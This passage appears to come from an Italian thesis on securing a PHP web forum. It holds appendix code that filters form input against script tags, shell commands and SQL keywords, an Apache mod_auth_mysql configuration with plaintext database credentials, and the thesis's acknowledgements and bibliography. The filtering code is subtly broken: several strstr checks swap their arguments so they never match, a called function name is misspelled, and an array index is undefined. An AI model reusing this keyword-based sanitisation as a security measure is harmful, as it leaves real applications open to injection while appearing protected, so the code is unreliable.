if( strstr( $_SERVER[’SCRIPT_FILENAME’], "new_topic.php" ) )
{
$keys_integer = array( ) ;
$keys_string = array( "nome", "descrizione" ) ;
$keys_array = array( ) ;
}
// trattamento degli input numerici
foreach( $keys_integer as $k )
{
if( isset($_POST[$k]) ) {
$securePOST[$k] = (int) ( $_POST[$k] ) ;
} else {
$securePOST[$k] = "" ;
}
}
// trattamento degli input alfanumerico
foreach( $keys_string as $k )
{
if( isset($_POST[$k]) ) {
$securePOST[$k] = trim( $_POST[$k] ) ;
// controllo del codice client side
if( strstr( $securePOST[$k], "<script") ||
strstr( $securePOST[$k], "</script") )
{
$securePOST[$k] = htmlentities($securePOST[$k]) ;
}
65
APPENDICE B. VALIDAZIONE DEI DATI IN INPUT
66
/*
controllo della presenza di comandi di sistema
non essendo un forum tecnico si presume che non verranno mai
inviati messaggi che contengono del codice di shell.
*/
for( $i=0 ; $i<count($cmd_list) ; ++$i )
{
$cmd = $cmd_list[$i] ;
$securePOST[$k] = str_replace($cmd, $cmd."_", $securePOST[$k]) ;
$securePOST[$k] = htmlentities($securePOST[$k]) ;
}
/*
controllo della presenza di codice SQL
anche qui i controlli sono dipendenti dai forum, cioè
dai messaggi che possono essere inviati.
*/
// prevenzione di codice concatenato con union
if( strstr( "union", $securePOST[$k]) &&
( strstr( "select", $securePOST[$k]) ||
strstr( "delete", $securePOST[$k]) ||
strstr( "insert", $securePOST[$k]) ||
strstr( "update", $securePOST[$k]) ) )
{
$securePOST[$k] = str_replace("union", "_union_", $securePOST[$k]) ;
}
// prevenzione di comandi di selezione
if( strstr( "select", $securePOST[$k]) &&
strstr( "from", $securePOST[$k]) )
{
$securePOST[$k] = str_replace("select", "_select_", $securePOST[$k]) ;
}
// prevenzione della manomissione degli id
/*
come per la $_GET
*/
} else {
APPENDICE B. VALIDAZIONE DEI DATI IN INPUT
67
$securePOST[$k] = "" ;
}
}
// trattamento degli input alfanumerici in array
foreach( $keys_array as $k1 )
{
$keys_array2 = array_values( $keys_array ) ;
foreach( $keys_array2 as $k1 )
{
if( isset($_POST[$k1][$k2]) ) {
$securePOST[$k1][k2] = trim( $_POST[$k1][$k2] ) ;
} else {
$securePOST[$k1][$k2] = "" ;
}
}
}
// CONTROLLI AGGIUNTIVI : EMAIL
if( valide_emailaddr($securePOST[’email’]) === false )
{
$securePOST[’email’] = "" ;
}
}
// +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
?>
Codice del file validate email.php
<?php
/*
Email Syntax check.
Script developed by Bonnie Kinship on Thu, Jan 08, 2004 @ 05:10PM.
The script is tested and verfied. Performance is found OK.
If you find this script useful, Feel free to use & modify
per your requirements.
No restrictions on using this script.
APPENDICE B. VALIDAZIONE DEI DATI IN INPUT
68
Purpose: To screen bogus or fake email address inputs.
The script validates email addresses for syntax.
As such there is only one proven way to make sure if email address
is valid or not is to send an actual email to the email address
provided by site visitor. That’s why many web-site send
email confirmation.
*/
function valid_emailaddr( $email )
{
if( !isset( $email) || $email == "" )
{
return false ;
}
//------------ EMAIL ADDRESS SYNTAX CHECK --------------------if (!eregi("^[_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-z0-9-]
+(\.[a-z0-9-]+)*(\.[a-z]{2,6})$", $email)
)
{
print ("Syntax error in email address $email !");
return false;
}
return true ;
}
?>
Il codice per la validazione dell’email, realizzato da Bonnie Kinship, è stato
riutilizzato da un’altra applicazione in cui è stato già testato e verificato.
Appendice C
Autenticazione
Per l’autenticazione degli utenti si è scelto di adoperare il modulo Apache
mod auth mysql con due file
Codice del file .htaccess utilizzato per l’autenticazione nella sezione di
amministrazione del Forum INFN.
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
AuthName "Forum INFN"
AuthType Basic
AuthGroupFile /dev/null
AuthMySQLHost localhost
AuthMySQLUser forum_user
AuthMySQLPassword forum_pwd
AuthMySQLDB forum
AuthMySQLUserTable amministratore
AuthMySQLGroupTable amministratore
AuthMySQLUsernameField uname
AuthMySQLPasswordField pword
AuthMySQLCryptedPasswords On
AuthMySQLAuthoritative On
AuthMySQLKeepAlive Off
69
APPENDICE C. AUTENTICAZIONE
70
022 require valid-user
Secondo tali direttive, il server Apache si collega automaticamente a server MySQL con il nome utente e la password specificati alle righe sette e otto.
Viene adoperata la tabella ’amministratore’ nel database ’forum’ per controllare la presenza dell’utente, eseguendo un confronto fra il nome utente ed il
campo ’uname’ e fra la password ed il campo ’pword’.
Per quanto riguarda la sezione utenti, viene utilizzata la stessa struttura,
ma cambia la tabella degli utenti ed il nome dei campi.
Da notare che questo strumento di autenticazione non necessita di salvare il nome utente e la password nel client quindi non è necessario prevedere
la funzionalità di log-out, con la quale si invalidano i dati di autenticazione
(normalmente posti in cookie). Al contrario, l’applicazione non ha memoria di una precedente autenticazione ed è necessario autenticarsi nuovamente
quando vi si accede sopo aver chiuso il browser.
L’autenticazione sella sezione di amministrazione avanzata, creata con
phpMyAdmin, è doppia:
• la prima delle due è richiesta per avere accesso nell’applicazione ;
• la seconda per potersi collegare al db.
Par avere accesso, quindi, occorre conoscere sia i parametri di applicazione,
cioè quelli contrnuti nella tabella ’amministratore’ di cui prima, ed i parametri
di utente MySQL.
Ringraziamenti
Quanto più ci innalziamo, tanto più piccoli sembriamo
a quelli che non possono volare
(F. Nietzsche)
Devo ringraziare un numero cosı̀ grande di persone che mi dimenticherò
certamente di qualcuno di loro...
Chi mi è stato vicino prima, durante e dopo la stesura di questo documento.
Coloro che mi hanno insegnato tutto quello che non è scritto sui manuali.
Non per ultimi chi, amici e non, mi hanno dato almeno un suggerimento
o una spinta a completa.
Un grazie particolare alla mia famiglia, a Marina e Fabrizio per avermi
fornito i mezzi.
La grandezza dell’uomo si misura in base a quel che cerca
e all’insistenza con cui egli resta alla ricerca
(Heidegger)
71
Bibliografia
Bibliografia
[1] Mark Curphey et al. A guide to build secure web applications . Capitoli
6 e 11. O.W.A.S.P. 2005.
[2] Ilias Bartolini. PHP e sicurezza Web: consigli per non fare danni nel
Web con PHP . Slides dell’intervento alla conferenza PHP-Day-2004.
[3] P. Atzeni et al. Basi di dati: concetti, linguaggi e architetture. McGrawHill, seconda edizione 1999
[4] Chris Shiflett. PHP Security O’Reilly Open Source Convention Portland,
Oregon, USA 26 Jul 2004
[5] Marco Cesati. Appunti del corso di Reti di Calcolatori Anno Accademico
2003/2004
[6] Raghu Ramakrishnan e Johannes Gehrke. Database Management
Systems, 2nd Edition. McGraw Hill, 2000 (ISBN 0-07-232206-3).
[7] Steven Cook. A Web Developer’s guide to Cross-Site scripting. SANS, 11
Gennaio 2003.
[8] Mike Shema. Hack Notes: Web Security portable reference. McGraw Hill.
[9] Johan Brissaud. Programming:
The Heart of Web
http://www.securitydocs.com/library/2834 5-Gennaio-2005
Security.
[10] Tricia Lupien. Programmer’s Ultimate Security DeskRef:
Ottobre 2004
PHP 12
[11] Watching
the
Watchers:
http://johnny.ihackstuff.com
Hacking
72
with
Google.
2002,
BIBLIOGRAFIA
[12] Sebastian
Wolfgarten.
Watch
out,
Google.
www.wolfgarten.com/downloads/Watch out google.pdf
73
2003,
Riferimenti
[13] http://www.php.net/
[14] http://talks.php.net/show/web-app-security/
[15] http://talks.php.net/show/php-under-attack/
[16] PHP Security - www.php.net/manual/en/security.php
[17] Secure Programming in PHP - www.zend.com/zend/art/art-oertli.php
[18] www.w3.org/Protocols/rfc2616/rfc2616.html
[19] www.impervia.com (diverso materiale, in particolare white papers)
[20] http://www.hackingspirits.com/eth-hac/papers/Demystifying
[21] http://www.foundstone.com/resources/whitepapers/wp sitedigger.pdf
Indice analitico
Apache, 12, 45, 49
Backdoor, 21
Calcolo Distribuito, 8
CGI, 15
Cookie, 32
L.A.N., 9
LAMP, 49
Layer, 9, 10
Minix, 12
OSI/ISO, 10
D.N.S., 19
DNS server, 34
Protocollo, 9, 12
Proxy, 19
Eccezione, 50
Eccezioni, try-catch, 50
Exploit, 21
RDBMS, 12
Refereer, 34
File system, 13
Getaway, 8
GNU - GPL, 12
GUI, 16
Host, 9
HTML, 12, 16
HTML, META, 34
HTTP, 12
HTTP header, Cookie, 32
HTTP header, Set-Cookie, 34
HTTP method, GET, 32
HTTP method, POST, 32
Sniffig, 34
TCP/IP, 10, 11
Telnet, 19
URL, 12, 32
XML, 16
Internet, 8
IP, 19
kernel, 12
74